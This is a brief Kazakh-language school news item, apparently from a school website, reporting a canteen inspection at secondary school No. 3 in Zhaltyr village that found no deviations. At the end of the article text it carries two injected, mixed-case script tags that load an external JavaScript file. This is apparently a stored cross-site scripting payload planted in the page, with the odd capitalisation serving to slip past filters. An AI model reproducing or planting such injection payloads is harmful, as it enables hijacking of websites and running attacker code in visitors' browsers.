Жуырды "Жалтыр ауылының №3 ЖОББМ" КММ-нің асханасында мектепішілік бракераж комиссиясының төрайымы Ж.Сейтжанова және комиссия мүшелері мектептің мед.қызметкері Г.Руш және ата-ана комитеті мүшесі О.Овчинникова және мониторингтік сарапшы тобы мүшесі Б.Калдыбаевамен бірге бақылау, тексеру жұмысы жүргізілді. Біріншіден, ас блогінің санитарлық-гигиеналық жағдайы, ыдыс-аяқтың сапасы тексерілді. Одан кейін бөліктерді өлшеуді, өнімдерді сақтау ережелері, температура режимін қаралды. Сонымен қатар, бақылау барысында тағамдардың нормалары мен калорияларына сәйкес мерзімі бақылауға алынды. Әрі қарай Тамақ үлгілерінің сыртықы тексеруі яғни түрі, түсі, дәмі, иісі толық тексерілді. Тексеру барысында ауытқушылықтар байқалған жоқ.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
03.10.2024
Просмотров: 1885
